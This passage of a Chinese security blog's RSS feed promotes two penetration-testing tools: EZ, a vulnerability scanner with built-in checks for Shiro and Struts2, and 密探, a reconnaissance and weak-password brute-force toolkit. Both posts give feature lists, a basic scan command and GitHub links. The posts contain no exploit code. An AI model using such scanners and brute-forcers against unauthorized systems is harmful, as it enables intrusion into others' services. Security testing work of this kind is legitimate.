<comments>https://www.52tt.pro/index.php/archives/1984/#comments</comments>
</item>
<item>
<title>【工具分享】EZ 工具 主动+被动一站搞定</title>
<link>https://www.52tt.pro/index.php/archives/1956/</link>
<guid isPermaLink="false">https://www.52tt.pro/index.php/archives/1956/</guid>
<pubDate>Mon, 19 May 2025 10:36:00 +0800</pubDate>
<dc:creator>发光的神</dc:creator>
<category><![CDATA[工具分享]]></category>
<category><![CDATA[Web安全]]></category>
<category><![CDATA[红队技术]]></category>
<category><![CDATA[黑客工具]]></category>
<description><![CDATA[## 今日分享
 
EZ 是由 M-SEC 社区开发的一款跨平台漏洞扫描器，专为渗透测试和安全评估设计。它集成了信息收集、端口扫描、服务爆破、URL 爬虫、指纹识别和被动扫描等多种功能，能够帮助安全专家发现常见的网络漏洞。
核心功能

信息收集与指纹识别：...]]></description>
<content:encoded><![CDATA[
<h2>今日分享</h2>
<p><img src="https://docs.ezreal.cool/assets/demo.BvJnkz7m.gif" alt="ez" /> </p>
<p>EZ 是由 M-SEC 社区开发的一款跨平台漏洞扫描器，专为渗透测试和安全评估设计。它集成了信息收集、端口扫描、服务爆破、URL 爬虫、指纹识别和被动扫描等多种功能，能够帮助安全专家发现常见的网络漏洞。</p>
<h2>核心功能</h2>
<ul>
<li><strong>信息收集与指纹识别</strong>：识别目标系统的操作系统、服务和应用程序等信息。</li>
<li><strong>端口扫描与服务爆破</strong>：检测开放端口并尝试破解常见服务的认证。</li>
<li><strong>URL 爬虫与被动扫描</strong>：自动爬取网站链接，进行漏洞检测。</li>
<li><strong>漏洞检测</strong>：支持检测 SQL 注入、XSS、XXE、SSRF 等常见漏洞。</li>
<li><strong>内置 POC 支持</strong>：集成了 Apache Shiro、RabbitMQ、Struts2 等组件的漏洞检测。</li>
<li><strong>Web 界面操作</strong>：提供图形化界面，方便用户进行任务管理和结果查看。</li>
</ul>
<h2>使用方法</h2>
<p><img src="https://www.52tt.pro/usr/uploads/2025/05/1278215989.png" alt="maui2gdt.png" /></p>
<ol>
<li><strong>下载与安装</strong>：从 <a href="https://github.com/m-sec-org/EZ">GitHub</a> 或 M-SEC 社区获取 EZ 工具的二进制文件。</li>
<li><strong>证书申请</strong>：注册 M-SEC 社区账号，并在个人中心申请证书（有效期为一个月）。</li>
<li><strong>启动工具</strong>：将证书放置于 EZ 工具目录下，使用命令行启动，如：</li>
</ol>
<pre><code class="language-bash">ez webscan -u http://example.com</code></pre>
<ol start="4">
<li><strong>Web 界面</strong>：通过命令 <code>ez web</code> 启动 Web 界面，进行可视化操作。</li>
<li><strong>被动扫描</strong>：监听本地代理流量进行被动扫描，命令如下：</li>
</ol>
<pre><code class="language-bash">ez webscan</code></pre>
<h2>工具下载</h2>
<p>!!!</p>
<div style="max-width: 680px; margin: 60px auto; padding: 40px 30px; background-color: #fff; border: 1px solid #e5e7eb; border-radius: 18px; box-shadow: 0 6px 20px rgba(0,0,0,0.05); font-family: 'Inter', 'Segoe UI', sans-serif;">
<style>
    .link-block {
      display: flex;
      align-items: center;
      justify-content: center;
      padding: 14px 20px;
      border-radius: 12px;
      background-color: #f3f4f6;
      text-decoration: none;
      color: #111;
      font-weight: 500;
      cursor: pointer;
      transition: background 0.2s ease;
    }
<pre><code>.link-block:hover {
  background-color: #e0e0e0;
}

.link-block svg {
  width: 20px;
  height: 20px;
  fill: currentColor;
  margin-right: 12px;
}</code></pre>
</style>
<p style="font-weight: bold; text-align: center; font-size: 26px; color: #111; margin-bottom: 10px;">
    🚀 EZ 漏洞扫描器
  </p>
<p style="text-align: center; font-size: 15px; color: #555; margin-bottom: 35px;">
    多功能漏洞扫描器，支持信息收集、端口扫描、服务爆破、URL 爬虫与指纹识别，适用于渗透测试与红队评估。
  </p>
<div style="display: flex; flex-direction: column; gap: 14px;">
    <a class="link-block" href="https://github.com/m-sec-org/EZ" target="_blank" rel="noopener noreferrer">
      <svg viewBox="0 0 24 24" aria-hidden="true">
        <path d="M12 0.297c-6.63 0-12 5.373-12 12 0 5.302 
        3.438 9.8 8.205 11.387.6.113.82-.258.82-.577 
        0-.285-.01-1.04-.015-2.04-3.338.724-4.042-1.61-4.042-1.61-.546-1.387-1.333-1.757-1.333-1.757-1.09-.745.084-.729.084-.729 
        1.205.084 1.84 1.236 1.84 1.236 1.07 1.835 2.807 
        1.305 3.495.998.108-.776.418-1.305.762-1.605-2.665-.3-5.467-1.334-5.467-5.933 
        0-1.31.468-2.38 1.235-3.22-.135-.303-.54-1.523.105-3.176 
        0 0 1.005-.322 3.3 1.23a11.52 11.52 0 013.003-.404c1.02.005 2.045.138 
        3.003.404 2.28-1.552 3.285-1.23 3.285-1.23.645 1.653.24 2.873.12 
        3.176.765.84 1.23 1.91 1.23 3.22 
        0 4.61-2.807 5.625-5.48 5.92.429.372.823 1.103.823 2.222 
        0 1.606-.015 2.898-.015 3.293 
        0 .315.21.694.825.576C20.565 22.092 24 17.592 
        24 12.297c0-6.627-5.373-12-12-12z"/>
      </svg>
      立即前往 GitHub 下载 EZ
    </a>
  </div>
</div>
!!!
]]></content:encoded>
<slash:comments>0</slash:comments>
<comments>https://www.52tt.pro/index.php/archives/1956/#comments</comments>
</item>
<item>
<title>【工具分享】密探工具，渗透起手第一步</title>
<link>https://www.52tt.pro/index.php/archives/1951/</link>
<guid isPermaLink="false">https://www.52tt.pro/index.php/archives/1951/</guid>
<pubDate>Sun, 18 May 2025 10:45:00 +0800</pubDate>
<dc:creator>发光的神</dc:creator>
<category><![CDATA[工具分享]]></category>
<category><![CDATA[Web安全]]></category>
<category><![CDATA[红队技术]]></category>
<category><![CDATA[黑客工具]]></category>
<description><![CDATA[## 今日分享

密探是一款面向红队实战与SRC挖掘场景的多功能渗透测试工具，整合了信息收集、资产测绘、漏洞探测、弱口令破解、接口抓取等核心功能，旨在帮助网络安全学习者和从业者快速上手实战渗透流程。
核心亮点

全流程覆盖：集成信息收集、资产测绘、目录扫描...]]></description>
<content:encoded><![CDATA[
<h2>今日分享</h2>
<p><img src="https://www.52tt.pro/usr/uploads/2025/05/361140302.png" alt="mat1ohvh.png" /></p>
<p>密探是一款面向红队实战与SRC挖掘场景的多功能渗透测试工具，整合了信息收集、资产测绘、漏洞探测、弱口令破解、接口抓取等核心功能，旨在帮助网络安全学习者和从业者快速上手实战渗透流程。</p>
<h2>核心亮点</h2>
<ul>
<li><strong>全流程覆盖</strong>：集成信息收集、资产测绘、目录扫描、接口探测、弱口令爆破等模块，覆盖红队与SRC实战关键环节。</li>
<li><strong>多引擎资产测绘</strong>：支持 FOFA、Hunter、Quake、ZoomEye、零零信安等平台的数据查询、聚合导出与联动扫描。</li>
<li><strong>子域名递归爆破</strong>：具备高效的子域名爆破能力，支持多级递归与 title/title_hash 获取，并内置聚合查询接口。</li>
<li><strong>文件与备份扫描</strong>：支持通配目录扫描、自定义字典、备份文件识别、Spring 漏洞路径等常见弱点探测。</li>
<li><strong>指纹识别联动</strong>：自动识别网站指纹，并可联动敏感信息、接口、路径模块，辅助精准定位攻击面。</li>
<li><strong>弱口令批量检测</strong>：内置多种服务协议（MySQL、Redis、SSH、Socks5等）弱口令爆破功能，支持测绘数据联动爆破。</li>
<li><strong>敏感接口探测</strong>：整合 Swagger 接口抓取与未授权调用检测，自动识别高危 HTTP 方法与 API 返回数据。</li>
<li><strong>工具箱辅助功能</strong>：包含 JWT 爆破、SessionKey 加解密、社工字典生成器、搜索语法生成器等实用渗透辅助工具。</li>
<li><strong>渗透备忘录体系</strong>：集成 Markdown 编辑器，支持自定义知识路线与模块目录，适合记录实战经验与技巧笔记。</li>
<li><strong>可视化交互体验</strong>：提供统一皮肤、历史记录缓存、右键操作、状态高亮等丰富 UI 细节，提升渗透测试操作流畅度。</li>
</ul>
<h2>子域挖掘</h2>
<p><img src="https://www.52tt.pro/usr/uploads/2025/05/884303139.png" alt="mat1r4pa.png" /></p>
<h2>资产测绘</h2>
<p><img src="https://www.52tt.pro/usr/uploads/2025/05/2842346011.png" alt="mat1sgbo.png" /></p>
<h2>批量权重</h2>
<p><img src="https://www.52tt.pro/usr/uploads/2025/05/1295159511.png" alt="mat1traq.png" /></p>
<h2>网站导航</h2>
<p><img src="https://www.52tt.pro/usr/uploads/2025/05/1797510489.png" alt="maugcw5n.png" /></p>
<h2>常见问题</h2>
<ul>
<li><strong>JavaFX 报错</strong>：Java 11 及以上版本需手动下载 JavaFX SDK 并配置模块路径，建议优先使用 JDK 8。</li>
<li><strong>界面乱码问题</strong>：运行程序时添加 <code>-Dfile.encoding=UTF-8</code> 启动参数，可避免中文乱码。</li>
<li><strong>ZoomEye 查询失败</strong>：普通账户每日查询额度有限，建议关注官方公众号获取积分或升级为高级会员。</li>
<li><strong>程序无法启动或闪退</strong>：请确认本地环境为 JDK 8，优先使用 GitHub 官方版本运行，避免第三方打包问题。</li>
</ul>
<h2>工具下载</h2>
<p>!!!</p>
<div style="max-width: 680px; margin: 60px auto; padding: 40px 30px; background-color: #fff; border: 1px solid #e5e7eb; border-radius: 18px; box-shadow: 0 6px 20px rgba(0,0,0,0.05); font-family: 'Inter', 'Segoe UI', sans-serif;">
<style>
    .link-block {
      display: flex;
      align-items: center;
      justify-content: center;
      padding: 14px 20px;
      border-radius: 12px;
      background-color: #f3f4f6;
      text-decoration: none;
      color: #111;
      font-weight: 500;
      cursor: pointer;
      transition: background 0.2s ease;
    }
<pre><code>.link-block:hover {
  background-color: #e0e0e0;
}

.link-block svg {
  width: 20px;
  height: 20px;
  fill: currentColor;
  margin-right: 12px;
}</code></pre>
</style>
<p style="font-weight: bold; text-align: center; font-size: 26px; color: #111; margin-bottom: 10px;">
  🚀 密探渗透测试工具
</p>
<p style="text-align: center; font-size: 15px; color: #555; margin-bottom: 35px;">
  多功能渗透测试工具，适用于红队、SRC、安全研究，支持信息收集、测绘、扫描与爆破。
</p>
<div style="display: flex; flex-direction: column; gap: 14px;">
  <a class="link-block" href="https://github.com/kkbo8005/mitan" target="_blank" rel="noopener noreferrer">
    <svg style="width: 20px; height: 20px; fill: currentColor; margin-right: 12px;" viewBox="0 0 24 24" aria-hidden="true">
      <path d="M12 0.297c-6.63 0-12 5.373-12 12 0 5.302 
      3.438 9.8 8.205 11.387.6.113.82-.258.82-.577 
      0-.285-.01-1.04-.015-2.04-3.338.724-4.042-1.61-4.042-1.61-.546-1.387-1.333-1.757-1.333-1.757-1.09-.745.084-.729.084-.729 
      1.205.084 1.84 1.236 1.84 1.236 1.07 1.835 2.807 
      1.305 3.495.998.108-.776.418-1.305.762-1.605-2.665-.3-5.467-1.334-5.467-5.933 
      0-1.31.468-2.38 1.235-3.22-.135-.303-.54-1.523.105-3.176 
      0 0 1.005-.322 3.3 1.23a11.52 11.52 0 013.003-.404c1.02.005 2.045.138 
      3.003.404 2.28-1.552 3.285-1.23 3.285-1.23.645 1.653.24 2.873.12 
      3.176.765.84 1.23 1.91 1.23 3.22 
      0 4.61-2.807 5.625-5.48 5.92.429.372.823 1.103.823 2.222 
      0 1.606-.015 2.898-.015 3.293 
      0 .315.21.694.825.576C20.565 22.092 24 17.592 
      24 12.297c0-6.627-5.373-12-12-12z"/>
    </svg>
    立即前往 GitHub 下载密探
  </a>
</div>
!!!
]]></content:encoded>
<slash:comments>0</slash:comments>
<comments>https://www.52tt.pro/index.php/archives/1951/#comments</comments>
</item>
</channel>
</rss>
